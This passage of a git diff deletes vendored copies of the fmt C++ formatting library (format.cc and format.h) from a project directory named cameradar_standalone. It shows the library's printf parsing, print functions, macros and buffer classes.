/*nothing*/; ++i) { - switch (args.args_[i].type) { - case internal::Arg::NONE: return; - case internal::Arg::NAMED_ARG: - named_arg = static_cast(args.args_[i].pointer); - map_.insert(Pair(named_arg->name, *named_arg)); - break; - default: - /*nothing*/ - ; - } - } -} - -template -void fmt::internal::FixedBuffer::grow(std::size_t) { - FMT_THROW(std::runtime_error("buffer overflow")); -} - -FMT_FUNC Arg -fmt::internal::FormatterBase::do_get_arg(unsigned arg_index, const char*& error) { - Arg arg = args_[arg_index]; - switch (arg.type) { - case Arg::NONE: error = "argument index out of range"; break; - case Arg::NAMED_ARG: arg = *static_cast(arg.pointer); - default: - /*nothing*/ - ; - } - return arg; -} - -template -void -fmt::internal::PrintfFormatter::parse_flags(FormatSpec& spec, const Char*& s) { - for (;;) { - switch (*s++) { - case '-': spec.align_ = ALIGN_LEFT; break; - case '+': spec.flags_ |= SIGN_FLAG | PLUS_FLAG; break; - case '0': spec.fill_ = '0'; break; - case ' ': spec.flags_ |= SIGN_FLAG; break; - case '#': spec.flags_ |= HASH_FLAG; break; - default: --s; return; - } - } -} - -template -Arg -fmt::internal::PrintfFormatter::get_arg(const Char* s, unsigned arg_index) { - (void)s; - const char* error = 0; - Arg arg = - arg_index == UINT_MAX ? next_arg(error) : FormatterBase::get_arg(arg_index - 1, error); - if (error) FMT_THROW(FormatError(!*s ? "invalid format string" : error)); - return arg; -} - -template -unsigned -fmt::internal::PrintfFormatter::parse_header(const Char*& s, FormatSpec& spec) { - unsigned arg_index = UINT_MAX; - Char c = *s; - if (c >= '0' && c <= '9') { - // Parse an argument index (if followed by '$') or a width possibly - // preceded with '0' flag(s). - unsigned value = parse_nonnegative_int(s); - if (*s == '$') { // value is an argument index - ++s; - arg_index = value; - } else { - if (c == '0') spec.fill_ = '0'; - if (value != 0) { - // Nonzero value means that we parsed width and don't need to - // parse it or flags again, so return now. - spec.width_ = value; - return arg_index; - } - } - } - parse_flags(spec, s); - // Parse width. - if (*s >= '0' && *s <= '9') { - spec.width_ = parse_nonnegative_int(s); - } else if (*s == '*') { - ++s; - spec.width_ = WidthHandler(spec).visit(get_arg(s)); - } - return arg_index; -} - -template -void -fmt::internal::PrintfFormatter::format(BasicWriter& writer, - BasicCStringRef format_str) { - const Char* start = format_str.c_str(); - const Char* s = start; - while (*s) { - Char c = *s++; - if (c != '%') continue; - if (*s == c) { - write(writer, start, s); - start = ++s; - continue; - } - write(writer, start, s - 1); - - FormatSpec spec; - spec.align_ = ALIGN_RIGHT; - - // Parse argument index, flags and width. - unsigned arg_index = parse_header(s, spec); - - // Parse precision. - if (*s == '.') { - ++s; - if ('0' <= *s && *s <= '9') { - spec.precision_ = parse_nonnegative_int(s); - } else if (*s == '*') { - ++s; - spec.precision_ = PrecisionHandler().visit(get_arg(s)); - } - } - - Arg arg = get_arg(s, arg_index); - if (spec.flag(HASH_FLAG) && IsZeroInt().visit(arg)) spec.flags_ &= ~HASH_FLAG; - if (spec.fill_ == '0') { - if (arg.type <= Arg::LAST_NUMERIC_TYPE) - spec.align_ = ALIGN_NUMERIC; - else - spec.fill_ = ' '; // Ignore '0' flag for non-numeric types. - } - - // Parse length and convert the argument to the required type. - switch (*s++) { - case 'h': - if (*s == 'h') - ArgConverter(arg, *++s).visit(arg); - else - ArgConverter(arg, *s).visit(arg); - break; - case 'l': - if (*s == 'l') - ArgConverter(arg, *++s).visit(arg); - else - ArgConverter(arg, *s).visit(arg); - break; - case 'j': ArgConverter(arg, *s).visit(arg); break; - case 'z': ArgConverter(arg, *s).visit(arg); break; - case 't': ArgConverter(arg, *s).visit(arg); break; - case 'L': - // printf produces garbage when 'L' is omitted for long double, no - // need to do the same. - break; - default: --s; ArgConverter(arg, *s).visit(arg); - } - - // Parse type. - if (!*s) FMT_THROW(FormatError("invalid format string")); - spec.type_ = static_cast(*s++); - if (arg.type <= Arg::LAST_INTEGER_TYPE) { - // Normalize type. - switch (spec.type_) { - case 'i': - case 'u': spec.type_ = 'd'; break; - case 'c': - // TODO: handle wchar_t - CharConverter(arg).visit(arg); - break; - } - } - - start = s; - - // Format argument. - internal::PrintfArgFormatter(writer, spec).visit(arg); - } - write(writer, start, s); -} - -FMT_FUNC void -fmt::report_system_error(int error_code, fmt::StringRef message) FMT_NOEXCEPT { - // 'fmt::' is for bcc32. - fmt::report_error(internal::format_system_error, error_code, message); -} - -#if FMT_USE_WINDOWS_H -FMT_FUNC void -fmt::report_windows_error(int error_code, fmt::StringRef message) FMT_NOEXCEPT { - // 'fmt::' is for bcc32. - fmt::report_error(internal::format_windows_error, error_code, message); -} -#endif - -FMT_FUNC void -fmt::print(std::FILE* f, CStringRef format_str, ArgList args) { - MemoryWriter w; - w.write(format_str, args); - std::fwrite(w.data(), 1, w.size(), f); -} - -FMT_FUNC void -fmt::print(CStringRef format_str, ArgList args) { - print(stdout, format_str, args); -} - -FMT_FUNC void -fmt::print(std::ostream& os, CStringRef format_str, ArgList args) { - MemoryWriter w; - w.write(format_str, args); - os.write(w.data(), w.size()); -} - -FMT_FUNC void -fmt::print_colored(Color c, CStringRef format, ArgList args) { - char escape[] = "\x1b[30m"; - escape[3] = static_cast('0' + c); - std::fputs(escape, stdout); - print(format, args); - std::fputs(RESET_COLOR, stdout); -} - -FMT_FUNC int -fmt::fprintf(std::FILE* f, CStringRef format, ArgList args) { - MemoryWriter w; - printf(w, format, args); - std::size_t size = w.size(); - return std::fwrite(w.data(), 1, size, f) < size ? -1 : static_cast(size); -} - -#ifndef FMT_HEADER_ONLY - -template struct fmt::internal::BasicData; - -// Explicit instantiations for char. - -template void fmt::internal::FixedBuffer::grow(std::size_t); - -template void fmt::internal::ArgMap::init(const fmt::ArgList& args); - -template void fmt::internal::PrintfFormatter::format(BasicWriter& writer, - CStringRef format); - -template int fmt::internal::CharTraits::format_float(char* buffer, - std::size_t size, - const char* format, - unsigned width, - int precision, - double value); - -template int fmt::internal::CharTraits::format_float(char* buffer, - std::size_t size, - const char* format, - unsigned width, - int precision, - long double value); - -// Explicit instantiations for wchar_t. - -template void fmt::internal::FixedBuffer::grow(std::size_t); - -template void fmt::internal::ArgMap::init(const fmt::ArgList& args); - -template void fmt::internal::PrintfFormatter::format(BasicWriter& writer, - WCStringRef format); - -template int fmt::internal::CharTraits::format_float(wchar_t* buffer, - std::size_t size, - const wchar_t* format, - unsigned width, - int precision, - double value); - -template int fmt::internal::CharTraits::format_float(wchar_t* buffer, - std::size_t size, - const wchar_t* format, - unsigned width, - int precision, - long double value); - -#endif // FMT_HEADER_ONLY - -#ifdef _MSC_VER -#pragma warning(pop) -#endif \ No newline at end of file diff --git a/cameradar_standalone/include/spdlog/details/format.h b/cameradar_standalone/include/spdlog/details/format.h deleted file mode 100644 index 960e927..0000000 --- a/cameradar_standalone/include/spdlog/details/format.h +++ /dev/null @@ -1,3852 +0,0 @@ -/* -Formatting library for C++ - -Copyright (c) 2012 - 2015, Victor Zverovich -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -1. Redistributions of source code must retain the above copyright notice, this -list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the above copyright notice, -this list of conditions and the following disclaimer in the documentation -and/or other materials provided with the distribution. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ - -#ifndef FMT_FORMAT_H_ -#define FMT_FORMAT_H_ - -#define FMT_HEADER_ONLY // Added by spdlog for header only usage - -#if defined _MSC_VER && _MSC_VER <= 1500 -typedef unsigned int uint32_t; -typedef unsigned long long uint64_t; -typedef long long intmax_t; -#else -#include -#endif - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#ifndef FMT_USE_IOSTREAMS -#define FMT_USE_IOSTREAMS 1 -#endif - -#if FMT_USE_IOSTREAMS -#include -#endif - -#ifdef _SECURE_SCL -#define FMT_SECURE_SCL _SECURE_SCL -#else -#define FMT_SECURE_SCL 0 -#endif - -#if FMT_SECURE_SCL -#include -#endif - -#if !defined(FMT_HEADER_ONLY) && defined(_WIN32) -#ifdef FMT_EXPORT -#define FMT_API __declspec(dllexport) -#elif defined(FMT_SHARED) -#define FMT_API __declspec(dllimport) -#endif -#endif -#ifndef FMT_API -#define FMT_API -#endif - -#ifdef _MSC_VER -#include // _BitScanReverse, _BitScanReverse64 - -namespace fmt { -namespace internal { -#pragma intrinsic(_BitScanReverse) -inline uint32_t -clz(uint32_t x) { - unsigned long r = 0; - _BitScanReverse(&r, x); - return 31 - r; -} -#define FMT_BUILTIN_CLZ(n) fmt::internal::clz(n) - -#ifdef _WIN64 -#pragma intrinsic(_BitScanReverse64) -#endif - -inline uint32_t -clzll(uint64_t x) { - unsigned long r = 0; -#ifdef _WIN64 - _BitScanReverse64(&r, x); -#else - // Scan the high 32 bits. - if (_BitScanReverse(&r, static_cast(x >> 32))) return 63 - (r + 32); - - // Scan the low 32 bits. - _BitScanReverse(&r, static_cast(x)); -#endif - return 63 - r; -} -#define FMT_BUILTIN_CLZLL(n) fmt::internal::clzll(n) -} -} -#endif - -#ifdef __GNUC__ -#define FMT_GCC_VERSION (__GNUC__ * 100 + __GNUC_MINOR__) -#define FMT_GCC_EXTENSION __extension__ -#if FMT_GCC_VERSION >= 406 -#pragma GCC diagnostic push -// Disable the warning about "long long" which is sometimes reported even -// when using __extension__. -#pragma GCC diagnostic ignored "-Wlong-long" -// Disable the warning about declaration shadowing because it affects too -// many valid cases. -#pragma GCC diagnostic ignored "-Wshadow" -// Disable the warning about implicit conversions that may change the sign of -// an integer; silencing it otherwise would require many explicit casts. -#pragma GCC diagnostic ignored "-Wsign-conversion" -#endif -#if __cplusplus >= 201103L || defined __GXX_EXPERIMENTAL_CXX0X__ -#define FMT_HAS_GXX_CXX11 1 -#endif -#else -#define FMT_GCC_EXTENSION -#endif - -#if defined(__clang__) && !defined(__INTEL_COMPILER) -#pragma clang diagnostic push -#pragma clang diagnostic ignored "-Wdocumentation" -#endif - -#ifdef __GNUC_LIBSTD__ -#define FMT_GNUC_LIBSTD_VERSION (__GNUC_LIBSTD__ * 100 + __GNUC_LIBSTD_MINOR__) -#endif - -#ifdef __has_feature -#define FMT_HAS_FEATURE(x) __has_feature(x) -#else -#define FMT_HAS_FEATURE(x) 0 -#endif - -#ifdef __has_builtin -#define FMT_HAS_BUILTIN(x) __has_builtin(x) -#else -#define FMT_HAS_BUILTIN(x) 0 -#endif - -#ifdef __has_cpp_attribute -#define FMT_HAS_CPP_ATTRIBUTE(x) __has_cpp_attribute(x) -#else -#define FMT_HAS_CPP_ATTRIBUTE(x) 0 -#endif - -#ifndef FMT_USE_VARIADIC_TEMPLATES -// Variadic templates are available in GCC since version 4.4 -// (http://gcc.gnu.org/projects/cxx0x.html) and in Visual C++ -// since version 2013. -#define FMT_USE_VARIADIC_TEMPLATES \ - (FMT_HAS_FEATURE(cxx_variadic_templates) || (FMT_GCC_VERSION >= 404 && FMT_HAS_GXX_CXX11) || \ - _MSC_VER >= 1800) -#endif - -#ifndef FMT_USE_RVALUE_REFERENCES -// Don't use rvalue references when compiling with clang and an old libstdc++ -// as the latter doesn't provide std::move. -#if defined(FMT_GNUC_LIBSTD_VERSION) && FMT_GNUC_LIBSTD_VERSION <= 402 -#define FMT_USE_RVALUE_REFERENCES 0 -#else -#define FMT_USE_RVALUE_REFERENCES \ - (FMT_HAS_FEATURE(cxx_rvalue_references) || (FMT_GCC_VERSION >= 403 && FMT_HAS_GXX_CXX11) || \ - _MSC_VER >= 1600) -#endif -#endif - -#if FMT_USE_RVALUE_REFERENCES -#include // for std::move -#endif - -// Define FMT_USE_NOEXCEPT to make C++ Format use noexcept (C++11 feature). -#ifndef FMT_USE_NOEXCEPT -#define FMT_USE_NOEXCEPT 0 -#endif - -#ifndef FMT_NOEXCEPT -#if FMT_USE_NOEXCEPT || FMT_HAS_FEATURE(cxx_noexcept) || \ - (FMT_GCC_VERSION >= 408 && FMT_HAS_GXX_CXX11) || _MSC_VER >= 1900 -#define FMT_NOEXCEPT noexcept -#else -#define FMT_NOEXCEPT throw() -#endif -#endif - -// Check if exceptions are disabled. -#if defined(__GNUC__) && !defined(__EXCEPTIONS) -#define FMT_EXCEPTIONS 0 -#endif -#if defined(_MSC_VER) && !_HAS_EXCEPTIONS -#define FMT_EXCEPTIONS 0 -#endif -#ifndef FMT_EXCEPTIONS -#define FMT_EXCEPTIONS 1 -#endif - -#ifndef FMT_THROW -#if FMT_EXCEPTIONS -#define FMT_THROW(x) throw x -#else -#define FMT_THROW(x) assert(false) -#endif -#endif - -// A macro to disallow the copy constructor and operator= functions -// This should be used in the private: declarations for a class -#ifndef FMT_USE_DELETED_FUNCTIONS -#define FMT_USE_DELETED_FUNCTIONS 0 -#endif - -#if FMT_USE_DELETED_FUNCTIONS || FMT_HAS_FEATURE(cxx_deleted_functions) || \ - (FMT_GCC_VERSION >= 404 && FMT_HAS_GXX_CXX11) || _MSC_VER >= 1800 -#define FMT_DELETED_OR_UNDEFINED = delete -#define FMT_DISALLOW_COPY_AND_ASSIGN(TypeName) \ - TypeName(const TypeName&) = delete; \ - TypeName& operator=(const TypeName&) = delete -#else -#define FMT_DELETED_OR_UNDEFINED -#define FMT_DISALLOW_COPY_AND_ASSIGN(TypeName) \ - TypeName(const TypeName&); \ - TypeName& operator=(const TypeName&) -#endif - -#ifndef FMT_USE_USER_DEFINED_LITERALS -// All compilers which support UDLs also support variadic templates. This -// makes the fmt::literals implementation easier. However, an explicit check -// for variadic templates is added here just in case. -#define FMT_USE_USER_DEFINED_LITERALS \ - FMT_USE_VARIADIC_TEMPLATES&& FMT_USE_RVALUE_REFERENCES && \ - (FMT_HAS_FEATURE(cxx_user_literals) || (FMT_GCC_VERSION >= 407 && FMT_HAS_GXX_CXX11) || \ - _MSC_VER >= 1900) -#endif - -#ifndef FMT_ASSERT -#define FMT_ASSERT(condition, message) assert((condition) && message) -#endif - -namespace fmt { -namespace internal { -struct DummyInt { - int data[2]; - operator int() const { return 0; } -}; -typedef std::numeric_limits FPUtil; - -// Dummy implementations of system functions such as signbit and ecvt called -// if the latter are not available. -inline DummyInt signbit(...) { return DummyInt(); } -inline DummyInt _ecvt_s(...) { return DummyInt(); } -inline DummyInt isinf(...) { return DummyInt(); } -inline DummyInt _finite(...) { return DummyInt(); } -inline DummyInt isnan(...) { return DummyInt(); } -inline DummyInt _isnan(...) { return DummyInt(); } - -// A helper function to suppress bogus "conditional expression is constant" -// warnings. -template -inline T -check(T value) { - return value; -} -} -} // namespace fmt - -namespace std { -// Standard permits specialization of std::numeric_limits. This specialization -// is used to resolve ambiguity between isinf and std::isinf in glibc: -// https://gcc.gnu.org/bugzilla/show_bug.cgi?id=48891 -// and the same for isnan and signbit. -template <> -class numeric_limits : public std::numeric_limits { -public: - // Portable version of isinf. - template - static bool - isinfinity(T x) { - using namespace fmt::internal; - // The resolution "priority" is: - // isinf macro > std::isinf > ::isinf > fmt::internal::isinf - if (check(sizeof(isinf(x)) == sizeof(bool) || sizeof(isinf(x)) == sizeof(int))) { - return isinf(x) != 0; - } - return !_finite(static_cast(x)); - } - - // Portable version of isnan. - template - static bool - isnotanumber(T x) { - using namespace fmt::internal; - if (check(sizeof(isnan(x)) == sizeof(bool) || sizeof(isnan(x)) == sizeof(int))) { - return isnan(x) != 0; - } - return _isnan(static_cast(x)) != 0; - } - - // Portable version of signbit. - static bool - isnegative(double x) { - using namespace fmt::internal; - if (check(sizeof(signbit(x)) == sizeof(int))) return signbit(x) != 0; - if (x < 0) return true; - if (!isnotanumber(x)) return false; - int dec = 0, sign = 0; - char buffer[2]; // The buffer size must be >= 2 or _ecvt_s will fail. - _ecvt_s(buffer, sizeof(buffer), x, 0, &dec, &sign); - return sign != 0; - } -}; -} // namespace std - -namespace fmt { - -// Fix the warning about long long on older versions of GCC -// that don't support the diagnostic pragma. -FMT_GCC_EXTENSION typedef long long LongLong; -FMT_GCC_EXTENSION typedef unsigned long long ULongLong; - -#if FMT_USE_RVALUE_REFERENCES -using std::move; -#endif - -template -class BasicWriter; - -typedef BasicWriter Writer; -typedef BasicWriter WWriter; - -template -class BasicFormatter; - -template -void format(BasicFormatter& f, const Char*& format_str, const T& value); - -/** -\rst -A string reference. It can be constructed from a C string or ``std::string``. - -You can use one of the following typedefs for common character types: - -+------------+-------------------------+ -| Type | Definition | -+============+=========================+ -| StringRef | BasicStringRef | -+------------+-------------------------+ -| WStringRef | BasicStringRef | -+------------+-------------------------+ - -This class is most useful as a parameter type to allow passing -different types of strings to a function, for example:: - -template -std::string format(StringRef format_str, const Args & ... args); - -format("{}", 42); -format(std::string("{}"), 42); -\endrst -*/ -template -class BasicStringRef { -private: - const Char* data_; - std::size_t size_; - -public: - /** Constructs a string reference object from a C string and a size. */ - BasicStringRef(const Char* s, std::size_t size) : data_(s), size_(size) {} - - /** - \rst - Constructs a string reference object from a C string computing - the size with ``std::char_traits::length``. - \endrst - */ - BasicStringRef(const Char* s) : data_(s), size_(std::char_traits::length(s)) {} - - /** - \rst - Constructs a string reference from an ``std::string`` object. - \endrst - */ - BasicStringRef(const std::basic_string& s) : data_(s.c_str()), size_(s.size()) {} - - /** - \rst - Converts a string reference to an ``std::string`` object. - \endrst - */ - std::basic_string - to_string() const { - return std::basic_string(data_, size_); - } - - /** Returns the pointer to a C string. */ - const Char* - data() const { - return data_; - } - - /** Returns the string size. */ - std::size_t - size() const { - return size_; - } - - // Lexicographically compare this string reference to other. - int - compare(BasicStringRef other) const { - std::size_t size = size_ < other.size_ ? size_ : other.size_; - int result = std::char_traits::compare(data_, other.data_, size); - if (result == 0) result = size_ == other.size_ ? 0 : (size_ < other.size_ ? -1 : 1); - return result; - } - - friend bool operator==(BasicStringRef lhs, BasicStringRef rhs) { return lhs.compare(rhs) == 0; } - friend bool operator!=(BasicStringRef lhs, BasicStringRef rhs) { return lhs.compare(rhs) != 0; } - friend bool operator<(BasicStringRef lhs, BasicStringRef rhs) { return lhs.compare(rhs) < 0; } - friend bool operator<=(BasicStringRef lhs, BasicStringRef rhs) { return lhs.compare(rhs) <= 0; } - friend bool operator>(BasicStringRef lhs, BasicStringRef rhs) { return lhs.compare(rhs) > 0; } - friend bool operator>=(BasicStringRef lhs, BasicStringRef rhs) { return lhs.compare(rhs) >= 0; } -}; - -typedef BasicStringRef StringRef; -typedef BasicStringRef WStringRef; - -/** -\rst -A reference to a null terminated string. It can be constructed from a C -string or ``std::string``. - -You can use one of the following typedefs for common character types: - -+-------------+--------------------------+ -| Type | Definition | -+=============+==========================+ -| CStringRef | BasicCStringRef | -+-------------+--------------------------+ -| WCStringRef | BasicCStringRef | -+-------------+--------------------------+ - -This class is most useful as a parameter type to allow passing -different types of strings to a function, for example:: - -template -std::string format(CStringRef format_str, const Args & ... args); - -format("{}", 42); -format(std::string("{}"), 42); -\endrst -*/ -template -class BasicCStringRef { -private: - const Char* data_; - -public: - /** Constructs a string reference object from a C string. */ - BasicCStringRef(const Char* s) : data_(s) {} - - /** - \rst - Constructs a string reference from an ``std::string`` object. - \endrst - */ - BasicCStringRef(const std::basic_string& s) : data_(s.c_str()) {} - - /** Returns the pointer to a C string. */ - const Char* - c_str() const { - return data_; - } -}; - -typedef BasicCStringRef CStringRef; -typedef BasicCStringRef WCStringRef; - -/** -A formatting error such as invalid format string. -*/ -class FormatError : public std::runtime_error { -public: - explicit FormatError(CStringRef message) : std::runtime_error(message.c_str()) {} -}; - -namespace internal { -// The number of characters to store in the MemoryBuffer object itself -// to avoid dynamic memory allocation. -enum { INLINE_BUFFER_SIZE = 500 }; - -#if FMT_SECURE_SCL -// Use checked iterator to avoid warnings on MSVC. -template -inline stdext::checked_array_iterator -make_ptr(T* ptr, std::size_t size) { - return stdext::checked_array_iterator(ptr, size); -} -#else -template -inline T* -make_ptr(T* ptr, std::size_t) { - return ptr; -} -#endif -} // namespace internal - -/** -\rst -A buffer supporting a subset of ``std::vector``'s operations. -\endrst -*/ -template -class Buffer { -private: - FMT_DISALLOW_COPY_AND_ASSIGN(Buffer); - -protected: - T* ptr_; - std::size_t size_; - std::size_t capacity_; - - Buffer(T* ptr = 0, std::size_t capacity = 0) : ptr_(ptr), size_(0), capacity_(capacity) {} - - /** - \rst - Increases the buffer capacity to hold at least *size* elements updating - ``ptr_`` and ``capacity_``. - \endrst - */ - virtual void grow(std::size_t size) = 0; - -public: - virtual ~Buffer() {} - - /** Returns the size of this buffer. */ - std::size_t - size() const { - return size_; - } - - /** Returns the capacity of this buffer. */ - std::size_t - capacity() const { - return capacity_; - } - - /** - Resizes the buffer. If T is a POD type new elements may not be initialized. - */ - void - resize(std::size_t new_size) { - if (new_size > capacity_) grow(new_size); - size_ = new_size; - } - - /** - \rst - Reserves space to store at least *capacity* elements. - \endrst - */ - void - reserve(std::size_t capacity) { - if (capacity > capacity_) grow(capacity); - } - - void - clear() FMT_NOEXCEPT { - size_ = 0; - } - - void - push_back(const T& value) { - if (size_ == capacity_) grow(size_ + 1); - ptr_[size_++] = value; - } - - /** Appends data to the end of the buffer. */ - template - void append(const U* begin, const U* end); - - T& operator[](std::size_t index) { return ptr_[index]; } - const T& operator[](std::size_t index) const { return ptr_[index]; } -}; - -template -template -void -Buffer::append(const U* begin, const U* end) { - assert(begin <= end); - std::size_t new_size = size_ + (end - begin); - if (new_size > capacity_) grow(new_size); - std::uninitialized_copy(begin, end, internal::make_ptr(ptr_, capacity_) + size_); - size_ = new_size; -} - -namespace internal { - -// A memory buffer for POD types with the first SIZE elements stored in -// the object itself. -template > -class MemoryBuffer : private Allocator, public Buffer { -private: - T data_[SIZE]; - - // Deallocate memory allocated by the buffer. - void - deallocate() { - if (this->ptr_ != data_) Allocator::deallocate(this->ptr_, this->capacity_); - } - -protected: - void grow(std::size_t size); - -public: - explicit MemoryBuffer(const Allocator& alloc = Allocator()) - : Allocator(alloc), Buffer(data_, SIZE) {} - ~MemoryBuffer() { deallocate(); } - -#if FMT_USE_RVALUE_REFERENCES -private: - // Move data from other to this buffer. - void - move(MemoryBuffer& other) { - Allocator &this_alloc = *this, &other_alloc = other; - this_alloc = std::move(other_alloc); - this->size_ = other.size_; - this->capacity_ = other.capacity_; - if (other.ptr_ == other.data_) { - this->ptr_ = data_; - std::uninitialized_copy( - other.data_, other.data_ + this->size_, make_ptr(data_, this->capacity_)); - } else { - this->ptr_ = other.ptr_; - // Set pointer to the inline array so that delete is not called - // when deallocating. - other.ptr_ = other.data_; - } - } - -public: - MemoryBuffer(MemoryBuffer&& other) { move(other); } - - MemoryBuffer& operator=(MemoryBuffer&& other) { - assert(this != &other); - deallocate(); - move(other); - return *this; - } -#endif - - // Returns a copy of the allocator associated with this buffer. - Allocator - get_allocator() const { - return *this; - } -}; - -template -void -MemoryBuffer::grow(std::size_t size) { - std::size_t new_capacity = this->capacity_ + this->capacity_ / 2; - if (size > new_capacity) new_capacity = size; - T* new_ptr = this->allocate(new_capacity); - // The following code doesn't throw, so the raw pointer above doesn't leak. - std::uninitialized_copy(this->ptr_, this->ptr_ + this->size_, make_ptr(new_ptr, new_capacity)); - std::size_t old_capacity = this->capacity_; - T* old_ptr = this->ptr_; - this->capacity_ = new_capacity; - this->ptr_ = new_ptr; - // deallocate may throw (at least in principle), but it doesn't matter since - // the buffer already uses the new storage and will deallocate it in case - // of exception. - if (old_ptr != data_) Allocator::deallocate(old_ptr, old_capacity); -} - -// A fixed-size buffer. -template -class FixedBuffer : public fmt::Buffer { -public: - FixedBuffer(Char* array, std::size_t size) : fmt::Buffer(array, size) {} - -protected: - FMT_API void grow(std::size_t size); -}; - -template -class BasicCharTraits { -public: -#if FMT_SECURE_SCL - typedef stdext::checked_array_iterator CharPtr; -#else - typedef Char* CharPtr; -#endif - static Char - cast(int value) { - return static_cast(value); - } -}; - -template -class CharTraits; - -template <> -class CharTraits : public BasicCharTraits { -private: - // Conversion from wchar_t to char is not allowed. - static char convert(wchar_t); - -public: - static char - convert(char value) { - return value; - } - - // Formats a floating-point number. - template - FMT_API static int format_float( - char* buffer, std::size_t size, const char* format, unsigned width, int precision, T value); -}; - -template <> -class CharTraits : public BasicCharTraits { -public: - static wchar_t - convert(char value) { - return value; - } - static wchar_t - convert(wchar_t value) { - return value; - } - - template - FMT_API static int format_float(wchar_t* buffer, - std::size_t size, - const wchar_t* format, - unsigned width, - int precision, - T value); -}; - -// Checks if a number is negative - used to avoid warnings. -template -struct SignChecker { - template - static bool - is_negative(T value) { - return value < 0; - } -}; - -template <> -struct SignChecker { - template - static bool is_negative(T) { - return false; - } -}; - -// Returns true if value is negative, false otherwise. -// Same as (value < 0) but doesn't produce warnings if T is an unsigned type. -template -inline bool -is_negative(T value) { - return SignChecker::is_signed>::is_negative(value); -} - -// Selects uint32_t if FitsIn32Bits is true, uint64_t otherwise. -template -struct TypeSelector { - typedef uint32_t Type; -}; - -template <> -struct TypeSelector { - typedef uint64_t Type; -}; - -template -struct IntTraits { - // Smallest of uint32_t and uint64_t that is large enough to represent - // all values of T. - typedef typename TypeSelector::digits <= 32>::Type MainType; -}; - -// MakeUnsigned::Type gives an unsigned type corresponding to integer type T. -template -struct MakeUnsigned { - typedef T Type; -}; - -#define FMT_SPECIALIZE_MAKE_UNSIGNED(T, U) \ - template <> \ - struct MakeUnsigned { \ - typedef U Type; \ - } - -FMT_SPECIALIZE_MAKE_UNSIGNED(char, unsigned char); -FMT_SPECIALIZE_MAKE_UNSIGNED(signed char, unsigned char); -FMT_SPECIALIZE_MAKE_UNSIGNED(short, unsigned short); -FMT_SPECIALIZE_MAKE_UNSIGNED(int, unsigned); -FMT_SPECIALIZE_MAKE_UNSIGNED(long, unsigned long); -FMT_SPECIALIZE_MAKE_UNSIGNED(LongLong, ULongLong); - -FMT_API void report_unknown_type(char code, const char* type); - -// Static data is placed in this class template to allow header-only -// configuration. -template -struct FMT_API BasicData { - static const uint32_t POWERS_OF_10_32[]; - static const uint64_t POWERS_OF_10_64[]; - static const char DIGITS[]; -}; - -typedef BasicData<> Data; - -#if FMT_GCC_VERSION >= 400 || FMT_HAS_BUILTIN(__builtin_clz) -#define FMT_BUILTIN_CLZ(n) __builtin_clz(n) -#endif - -#if FMT_GCC_VERSION >= 400 || FMT_HAS_BUILTIN(__builtin_clzll) -#define FMT_BUILTIN_CLZLL(n) __builtin_clzll(n) -#endif - -#ifdef FMT_BUILTIN_CLZLL -// Returns the number of decimal digits in n. Leading zeros are not counted -// except for n == 0 in which case count_digits returns 1. -inline unsigned -count_digits(uint64_t n) { - // Based on http://graphics.stanford.edu/~seander/bithacks.html#IntegerLog10 - // and the benchmark https://github.com/localvoid/cxx-benchmark-count-digits. - unsigned t = (64 - FMT_BUILTIN_CLZLL(n | 1)) * 1233 >> 12; - return t - (n < Data::POWERS_OF_10_64[t]) + 1; -} -#else -// Fallback version of count_digits used when __builtin_clz is not available. -inline unsigned -count_digits(uint64_t n) { - unsigned count = 1; - for (;;) { - // Integer division is slow so do it for a group of four digits instead - // of for every digit. The idea comes from the talk by Alexandrescu - // "Three Optimization Tips for C++". See speed-test for a comparison. - if (n < 10) return count; - if (n < 100) return count + 1; - if (n < 1000) return count + 2; - if (n < 10000) return count + 3; - n /= 10000u; - count += 4; - } -} -#endif - -#ifdef FMT_BUILTIN_CLZ -// Optional version of count_digits for better performance on 32-bit platforms. -inline unsigned -count_digits(uint32_t n) { - uint32_t t = (32 - FMT_BUILTIN_CLZ(n | 1)) * 1233 >> 12; - return t - (n < Data::POWERS_OF_10_32[t]) + 1; -} -#endif - -// Formats a decimal unsigned integer value writing into buffer. -template -inline void -format_decimal(Char* buffer, UInt value, unsigned num_digits) { - buffer += num_digits; - while (value >= 100) { - // Integer division is slow so do it for a group of two digits instead - // of for every digit. The idea comes from the talk by Alexandrescu - // "Three Optimization Tips for C++". See speed-test for a comparison. - unsigned index = static_cast((value % 100) * 2); - value /= 100; - *--buffer = Data::DIGITS[index + 1]; - *--buffer = Data::DIGITS[index]; - } - if (value < 10) { - *--buffer = static_cast('0' + value); - return; - } - unsigned index = static_cast(value * 2); - *--buffer = Data::DIGITS[index + 1]; - *--buffer = Data::DIGITS[index]; -} - -#ifndef _WIN32 -#define FMT_USE_WINDOWS_H 0 -#elif !defined(FMT_USE_WINDOWS_H) -#define FMT_USE_WINDOWS_H 1 -#endif - -// Define FMT_USE_WINDOWS_H to 0 to disable use of windows.h. -// All the functionality that relies on it will be disabled too. -#if FMT_USE_WINDOWS_H -// A converter from UTF-8 to UTF-16. -// It is only provided for Windows since other systems support UTF-8 natively. -class UTF8ToUTF16 { -private: - MemoryBuffer buffer_; - -public: - FMT_API explicit UTF8ToUTF16(StringRef s); - operator WStringRef() const { return WStringRef(&buffer_[0], size()); } - size_t - size() const { - return buffer_.size() - 1; - } - const wchar_t* - c_str() const { - return &buffer_[0]; - 